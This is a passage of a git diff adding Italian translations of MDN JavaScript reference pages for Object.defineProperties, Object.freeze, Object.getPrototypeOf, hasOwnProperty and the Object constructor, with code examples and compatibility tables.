+      throw new TypeError('identity-confused descriptor');
+
+    return d;
+  }
+
+  if (typeof obj !== 'object' || obj === null)
+    throw new TypeError('bad obj');
+
+  properties = Object(properties);
+
+  var keys = Object.keys(properties);
+  var descs = [];
+
+  for (var i = 0; i &lt; keys.length; i++)
+    descs.push([keys[i], convertToDescriptor(properties[keys[i]])]);
+
+  for (var i = 0; i &lt; descs.length; i++)
+    Object.defineProperty(obj, descs[i][0], descs[i][1]);
+
+  return obj;
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.7', 'Object.defineProperties')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.8.5</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.defineproperties', 'Object.defineProperties')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.defineproperties', 'Object.defineProperties')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>{{CompatChrome("5")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("11.60")}}</td>
+   <td>{{CompatSafari("5")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoMobile("2")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile("11.5")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/object/freeze/index.html b/files/it/web/javascript/reference/global_objects/object/freeze/index.html
new file mode 100644
index 0000000000..26201fdb0c
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/object/freeze/index.html
@@ -0,0 +1,210 @@
+---
+title: Object.freeze()
+slug: Web/JavaScript/Reference/Global_Objects/Object/freeze
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/freeze
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>Object.freeze()</strong></code> congela un oggetto: ne previene l'aggiunta, la modifica e la rimozione di proprietà, inclusa la loro enumerabilità, configurabilità e accessibilità. In sostanza, l'oggetto è reso effettivamente immutabile. Il metodo restituisce lo stesso oggetto che è stato passato alla funzione. </p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code>Object.freeze(<var>obj</var>)</code></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>L'oggetto da congelare.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>L'oggetto passato alla funzione.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Nulla può essere aggiunto o rimosso dall'insieme delle proprietà di un oggetto congelato. Qualsiasi tentativo di fare ciò fallirebbe, o silenziosamente o attraverso il ritorno di un errore {{jsxref("TypeError")}} (più frequentemente, ma non necessariamente, quest'ultimo scenario accadrebbe in {{jsxref("Strict_mode", "strict mode", "", 1)}}).</p>
+
+<p>I valori delle proprietà non possono essere cambiati, anche quando si tratta di setters e getters. Da notare che se un oggetto costituisce il valore di una proprietà, esso può essere ancora modificato senza problemi, a meno che anch'esso non sia stato congelato.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: js">var obj = {
+  prop: function() {},
+  foo: 'bar'
+};
+
+// Nuove proprietà possono essere aggiunte, proprietà già esistenti possono
+// essere modificate o rimosse
+obj.foo = 'baz';
+obj.lumpy = 'woof';
+delete obj.prop;
+
+
+// Sia l'oggetto che viene passato che quello restituito verranno congelati.
+// No serve salvare l'oggetto restituito per congelare l'originale
+var o = Object.freeze(obj);
+
+o === obj; // true
+Object.isFrozen(obj); // === true
+
+// Adesso qualsiasi cambiamento fallirà
+obj.foo = 'quux'; // silenziosamente, non succede niente
+obj.quaxxor = 'the friendly duck'; // silenziosamente, non aggiungerà alcuna proprietò
+
+
+// ...e nella modalità strict questi tentativi di modifica faranno lanciare TypeErrors
+function fail(){
+  'use strict';
+  obj.foo = 'sparky'; // throws a TypeError
+  delete obj.quaxxor; // throws a TypeError
+  obj.sparky = 'arf'; // throws a TypeError
+}
+
+fail();
+
+
+// Tentare di cambiare attraverso Object.defineProperty farà anche lanciare un TypeError
+Object.defineProperty(obj, 'ohai', { value: 17 }); // throws a TypeError
+Object.defineProperty(obj, 'foo', { value: 'eit' }); // throws a TypeError
+</pre>
+
+<p>Il seguente esempio mostra come oggetti che sono valori di proprietà possono essere mutati(il congelamento si ferma ad un solo livello di profondità).</p>
+
+<pre class="brush: js">obj1 = {
+  internal: {}
+};
+
+Object.freeze(obj1);
+obj1.internal.a = 'aValue';
+
+obj1.internal.a // 'aValue'
+
+
+// Per fare un oggetto totalmente non modificabile, congela ciascun oggetto in obj.
+// Per farlo noi usiamo questa funzione.
+function deepFreeze(obj) {
+
+  // Prende tutti i nomi delle proprietà definite in obj
+  var propNames = Object.getOwnPropertyNames(obj);
+
+  // Congela tutte le proprietà prima di congelare obj
+  propNames.forEach(function(name) {
+    var prop = obj[name];
+
+    // Congela prop se esso è un oggetto
+    if (typeof prop == 'object' &amp;&amp; prop !== null)
+      deepFreeze(prop);
+  });
+
+  // Congela se stesso (niente operazione se esso è già congelato)
+  return Object.freeze(obj);
+}
+
+obj2 = {
+  internal: {}
+};
+
+deepFreeze(obj2);
+obj2.internal.a = 'anotherValue';
+obj2.internal.a; // undefined
+</pre>
+
+<h2 id="Note">Note</h2>
+
+<p>In ES5, se l'argomento di questo metodo non è un oggetto, allora verrà ritornato un errore {{jsxref("TypeError")}}. In ES2015, un argomento che non è un oggetto verrà trattato come se fosse un normale oggetto già congelato, e verrà perciò semplicemente ritornato.</p>
+
+<pre class="brush: js">&gt; Object.freeze(1)
+TypeError: 1 is not an object // ES5 code
+
+&gt; Object.freeze(1)
+1                             // ES2015 code
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.9', 'Object.freeze')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Commento iniziale. Implementato in JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-object.freeze', 'Object.freeze')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.freeze', 'Object.freeze')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Funzionalità di base</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>{{CompatChrome("6")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("12")}}</td>
+   <td>{{CompatSafari("5.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Funzionalità di base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/object/getprototypeof/index.html b/files/it/web/javascript/reference/global_objects/object/getprototypeof/index.html
new file mode 100644
index 0000000000..dd72c6cdf3
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/object/getprototypeof/index.html
@@ -0,0 +1,130 @@
+---
+title: Object.getPrototypeOf()
+slug: Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf
+tags:
+  - ECMAScript5
+  - ECMAScript6
+  - JavaScript
+  - Method
+  - Object
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>Object.getPrototypeOf()</strong></code> restituisce il prototipo (ovvero il valore della proprietà interna <code>[[Prototype]]</code>) dell'oggetto specificato.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code>Object.getPrototypeOf(<var>obj</var>)</code></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>L'oggetto di cui si vuole ottenere il prototipo.</dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: js">var proto = {};
+var obj = Object.create(proto);
+Object.getPrototypeOf(obj) === proto; // true
+</pre>
+
+<h2 id="Note">Note</h2>
+
+<p>Se il parametro obj non è un oggetto, nello standard ES5 il metodo innescherà un'eccezione {{jsxref("TypeError")}}, mentre nello standard ES6 il parametro sarà assegnato forzatamente ad un {{jsxref("Object")}}.</p>
+
+<pre class="brush: js">Object.getPrototypeOf("foo");
+// TypeError: "foo" is not an object (ES5 code)
+Object.getPrototypeOf("foo");
+// String.prototype                  (ES6 code)
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.2', 'Object.getPrototypeOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Prima definizione.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.getprototypeof', 'Object.getProtoypeOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_fra_i_Browser">Compatibilità fra i Browser</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("5")}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("12.10")}}</td>
+   <td>{{CompatSafari("5")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Note_specifiche_su_Opera">Note specifiche su Opera</h2>
+
+<p>Anche se le vecchie versioni di Opera non supportano ancora il metodo <code>Object.getPrototypeOf()</code>, comunque dalla versione 10.50 è stata implementata la proprietà non standard {{jsxref("Object.proto", "__proto__")}}.</p>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.setPrototypeOf()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Object.prototype.__proto__")}}</li>
+ <li>Il post di John Resig su <a class="external" href="http://ejohn.org/blog/objectgetprototypeof/">getPrototypeOf</a></li>
+ <li>{{jsxref("Reflect.getPrototypeOf()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/object/hasownproperty/index.html b/files/it/web/javascript/reference/global_objects/object/hasownproperty/index.html
new file mode 100644
index 0000000000..7287ed1e18
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/object/hasownproperty/index.html
@@ -0,0 +1,164 @@
+---
+title: Object.prototype.hasOwnProperty()
+slug: Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty
+tags:
+  - JavaScript
+  - Object
+  - Prototype
+  - hasOwnProperty
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <strong><code>hasOwnProperty()</code></strong> restituisce un valore booleano che indica se l'oggetto ha la proprietà specificata come propria proprietà (invece di ereditarla).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-prototype-hasownproperty.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>obj</var>.hasOwnProperty(<var>prop</var>)</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><var>prop</var></dt>
+ <dd>Il nome della {{jsxref("String")}} o il {{Glossary("Symbol")}} della proprietà da testare.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un {{jsxref("Boolean")}} che indica se l'oggetto ha o meno la proprietà specificata come proprietà propria.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Tutti i discendenti di {{jsxref("Object")}} ereditano il metodo <code>hasOwnProperty</code>. Questo metodo può essere utilizzato per determinare se un oggetto ha la proprietà specificata come proprietà diretta di tale oggetto; a differenza dell'operatore {{jsxref("Operators/in", "in")}}, questo metodo non controlla una proprietà nella catena di prototipi dell'oggetto.</p>
+
+<h2 id="Note">Note</h2>
+
+<p><code>hasOwnProperty</code> restituisce true anche se il valore della proprietà è <code>null</code> o <code>undefined</code>.</p>
+
+<pre class="brush: js">o = new Object();
+o.propOne = null;
+o.hasOwnProperty('propOne');   // ritorna true
+o.propTwo = undefined;
+o.hasOwnProperty('propTwo');   // ritorna true
+</pre>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Usare_hasOwnProperty_per_verificare_l'esistenza_di_una_proprietà">Usare <code>hasOwnProperty</code> per verificare l'esistenza di una proprietà</h3>
+
+<p>L'esempio seguente determina se l'oggetto o contiene una proprietà denominata <code>prop</code>:</p>
+
+<pre class="brush: js">o = new Object();
+o.hasOwnProperty('prop');   // ritorna false
+o.prop = 'exists';
+o.hasOwnProperty('prop');   // ritorna true
+</pre>
+
+<h3 id="Dirette_vs._proprietà_ereditate">Dirette vs. proprietà ereditate</h3>
+
+<p>Il seguente esempio distingue tra proprietà dirette e proprietà ereditate attraverso la catena del prototipo:</p>
+
+<pre class="brush: js">o = new Object();
+o.prop = 'exists';
+o.hasOwnProperty('prop');             // ritorna true
+o.hasOwnProperty('toString');         // ritorna false
+o.hasOwnProperty('hasOwnProperty');   // ritorna false
+</pre>
+
+<h3 id="Iterare_sulle_proprietà_di_un_oggetto">Iterare sulle proprietà di un oggetto</h3>
+
+<p>L'esempio seguente mostra come eseguire iterazioni sulle proprietà di un oggetto senza eseguire l'esecuzione su proprietà ereditate. Si noti che il ciclo {{jsxref("Statements/for...in", "for...in")}} sta già solo iterando gli oggetti enumerabili, quindi non si dovrebbe assumere in base alla mancanza di proprietà non enumerabili mostrate nel ciclo che <code>hasOwnProperty</code> è strettamente limitato agli elementi enumerabili (come con {{jsxref("Object.getOwnPropertyNames()")}}).</p>
+
+<pre class="brush: js">var buz = {
+  fog: 'stack'
+};
+
+for (var name in buz) {
+  if (buz.hasOwnProperty(name)) {
+    console.log('this is fog (' +
+      name + ') for sure. Value: ' + buz[name]);
+  }
+  else {
+    console.log(name); // toString o qualcos'altro
+  }
+}
+</pre>
+
+<h3 id="Usare_hasOwnProperty_come_nome_di_una_proprietà">Usare <code>hasOwnProperty</code> come nome di una proprietà</h3>
+
+<p>JavaScript non protegge il nome della proprietà <code>hasOwnProperty</code>; quindi, se esiste la possibilità che un oggetto possa avere una proprietà con questo nome, è necessario utilizzare un <code>hasOwnProperty</code> <em>esterno</em> per ottenere risultati corretti:</p>
+
+<pre class="brush: js">var foo = {
+  hasOwnProperty: function() {
+    return false;
+  },
+  bar: 'Here be dragons'
+};
+
+foo.hasOwnProperty('bar'); // restituisce sempre false
+
+// Usare hasOwnProperty di un altro oggetto
+// e chiamarlo con 'this' impostato su foo
+({}).hasOwnProperty.call(foo, 'bar'); // true
+
+// È anche possibile utilizzare la proprietà hasOwnProperty
+// dal prototipo Object per questo scopo
+Object.prototype.hasOwnProperty.call(foo, 'bar'); // true
+</pre>
+
+<p>Nota che nell'ultimo caso non ci sono oggetti appena creati.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.5', 'Object.prototype.hasOwnProperty')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definizione iniziale Implementato in JavaScript 1.5.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.hasOwnProperty")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties">Enumerabilità e proprietà delle proprietà</a></li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Statements/for...in", "for...in")}}</li>
+ <li>{{jsxref("Operators/in", "in")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">Guida JavaScript: Ereditarietà rivisitata</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/object/index.html b/files/it/web/javascript/reference/global_objects/object/index.html
new file mode 100644
index 0000000000..8c567d9ea2
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/object/index.html
@@ -0,0 +1,224 @@
+---
+title: Object
+slug: Web/JavaScript/Reference/Global_Objects/Object
+tags:
+  - Constructor
+  - JavaScript
+  - NeedsBrowserCompatibility
+  - NeedsMobileBrowserCompatibility
+  - Object
+  - TopicStub
+translation_of: Web/JavaScript/Reference/Global_Objects/Object
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<h2 id="Summary" name="Summary">Sommari</h2>
+
+<p>Il costruttore <strong>Object</strong> crea un oggetto.</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox"><code><code>// Letterale
+{ <em>[ coppiaNomeValore1 [, </em></code></code>coppiaNomeValore<code><code><em>2 [, ...</em></code></code>coppiaNomeValore<code><code><em>N] ] ]</em> }
+
+// Richiamato come una classe
+</code>new Object( <em>[ value ]</em> )</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parametri</h3>
+
+<dl>
+ <dt>coppiaNomeValore1, coppiaNomeValore2, ... coppiaNomeValoreN</dt>
+ <dd>Coppie formate da un nome (una stringa) e un valore (di qualsiasi tipo), dove il nome è separato dal valore con i due punti.</dd>
+ <dd>
+ <pre class="brush: js">{
+    "nome1": "valore1",
+    nome2: "valore2" // Gli apici nel nome sono opzionali
+};
+</pre>
+ </dd>
+</dl>
+
+<dl>
+ <dt>value</dt>
+ <dd>Qualsiasi valore.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descrizione</h2>
+
+<p>Il costruttore <code>Object</code> crea un oggetto avente il valore dato. Se il valore è {{jsxref("Global_Objects/null", "null")}} o {{jsxref("Global_Objects/undefined", "undefined")}}, verrà creato un oggetto vuoto; altrimenti un oggetto del tipo corrispondente al valore dato. Se il valore è già un oggetto, verra restituito senza alcuna modifica.</p>
+
+<p>Quando richiamato come normale funzione, il comportamento di <code>Object()</code> è identico a <code>new Object()</code>.</p>
+
+<h2 id="Properties" name="Properties">Proprietà del costruttore <code>Object</code></h2>
+
+<dl>
+ <dt><code>Object.length</code></dt>
+ <dd>Ha valore pari a <code>1</code>.</dd>
+ <dt>{{jsxref("Object.prototype")}}</dt>
+ <dd>Permette di aggiungere altre proprietà ad ogni oggetto di tipo <code>Object</code>.</dd>
+</dl>
+
+<p>{{ jsOverrides("Function", "Properties", "prototype") }}</p>
+
+<h2 id="Methods" name="Methods">Metodi del costruttore <code>Object</code></h2>
+
+<dl>
+ <dt>{{jsxref("Object.assign()")}} {{experimental_inline}}</dt>
+ <dd>Crea un nuovo oggetto copiando i valori di tutti le proprietà enumerabili da uno o più oggetti.</dd>
+ <dt>{{jsxref("Object.create()")}}</dt>
+ <dd>Crea un nuovo oggetto utilizzando il prototipo e le proprietà specificate.</dd>
+ <dt>{{jsxref("Object.defineProperty()")}}</dt>
+ <dd>Aggiunge una proprietà descritta dall'oggetto specificato.</dd>
+ <dt>{{jsxref("Object.defineProperties()")}}</dt>
+ <dd>Aggiunge più proprietà descritte dall'oggetto specificato.</dd>
+ <dt>{{jsxref("Object.freeze()")}}</dt>
+ <dd>Congela un oggetto: le sue proprietà non possono più essere cancellate o modificate.</dd>
+ <dt>{{jsxref("Object.getOwnPropertyDescriptor()")}}</dt>
+ <dd>Restituisce un oggetto che descriva la proprietà specificata.</dd>
+ <dt>{{jsxref("Object.getOwnPropertyNames()")}}</dt>
+ <dd>Restituisce un array contenente i nomi di tutte le proprietà (enumerabili e non-enumerabili) dell'oggetto specificato.</dd>
+ <dt>{{jsxref("Object.getPrototypeOf()")}}</dt>
+ <dd>Restituisce il prototipo dell'oggetto specificato.</dd>
+ <dt>{{jsxref("Object.is()")}} {{ experimental_inline() }}</dt>
+ <dd>Determina se due valori sono o no uguali (quindi lo stesso oggetto).</dd>
+ <dt>{{jsxref("Object.isExtensible()")}}</dt>
+ <dd>Determina se è permesso estendere un oggetto.</dd>
+ <dt>{{jsxref("Object.isFrozen()")}}</dt>
+ <dd>Determina se un oggetto è stato congelato.</dd>
+ <dt>{{jsxref("Object.isSealed()")}}</dt>
+ <dd>Determina se un oggetto è stato sigillato.</dd>
+ <dt>{{jsxref("Object.keys()")}}</dt>
+ <dd>Restituisce un array contenente i nomi di tutte le proprietà enumerabili dell'oggetto.</dd>
+ <dt>{{jsxref("Object.observe()")}} {{experimental_inline}}</dt>
+ <dd>Osserva i cambiamenti di un oggetto in modo asincrono.</dd>
+ <dt>{{jsxref("Object.preventExtensions()")}}</dt>
+ <dd>Impedisce ad un oggetto di essere esteso.</dd>
+ <dt>{{jsxref("Object.seal()")}}</dt>
+ <dd>Impedisce di eliminare le proprietà di un oggetto.</dd>
+ <dt>{{jsxref("Object.setPrototypeOf()")}} {{experimental_inline}}</dt>
+ <dd>
+ <p>Imposta i prototipo (quindi la proprietà intena <code>​[[Prototype]]</code>) di un oggetto.</p>
+ </dd>
+</dl>
+
+<p>{{jsOverrides("Function", "Methods", "create", "defineProperty", "defineProperties", "getOwnPropertyDescriptor", "getPrototypeOf")}}</p>
+
+<h2 id="Object_instances" name="Object_instances">Instanze di <code>Object</code> e l'oggetto prototipo <code>Object</code></h2>
+
+<p>In JavaScript, tutti gli oggetti sono discendenti di <code>Object</code>; tutti gli oggetti ereditano metodi e proprietà di {{jsxref("Object.prototype")}}, anche se queste possono essere sovrascritte. Per esempio, i prototpipi degli altri costruttori sovrascrivono la proprietà <code>constructor</code> e forniscono un loro metodo <code>toString()</code>. I cambiamenti al prototipo di <code>Object</code> venogno estesi a tutti gli oggetti, eccetto quelli che sovrascrivono le proprietà e i metodi cambiati.</p>
+
+<h3 id="Properties_of_Object_instances" name="Properties_of_Object_instances">Poprietà</h3>
+
+<p>{{page('/it/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype', 'Properties') }}</p>
+
+<h3 id="Methods_of_Object_instances" name="Methods_of_Object_instances">Metodi</h3>
+
+<p>{{page('/it/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype', 'Methods') }}</p>
+
+<h2 id="Examples" name="Examples">Esempi</h2>
+
+<h3 id="Usare_Object_con_i_valori_null_e_undefined">Usare <code>Object</code> con i valori <code>null</code> e <code>undefined</code></h3>
+
+<p>Questi esempi restituiscono tutti lo stesso oggetto:</p>
+
+<pre class="brush: js">var o = {};</pre>
+
+<pre class="brush: js">var o = new Object();
+</pre>
+
+<pre class="brush: js">var o = new Object(undefined);
+</pre>
+
+<pre class="brush: js">var o = new Object(null);
+</pre>
+
+<h3 id="Usare_Object_per_creare_oggetti_Boolean">Usare <code>Object</code> per creare oggetti <code>Boolean</code></h3>
+
+<p>I seguenti esempi assegnano alla variabile <code>o</code> un oggetto {{jsxref("Global_Objects/Boolean", "Boolean")}}:</p>
+
+<pre class="brush: js">var o = new Object(true);
+// Equivalente a new Boolean(true)</pre>
+
+<pre class="brush: js">var o = new Object(Boolean());
+// Equivalente a new Boolean(false)</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition. Implemented in JavaScript 1.0</td>
+   <td>Standard</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2', 'Object')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object-objects', 'Object')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span style="font-family: 'Open Sans Light',sans-serif; font-size: 16px; line-height: 16px;">Funzionalità</span></th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
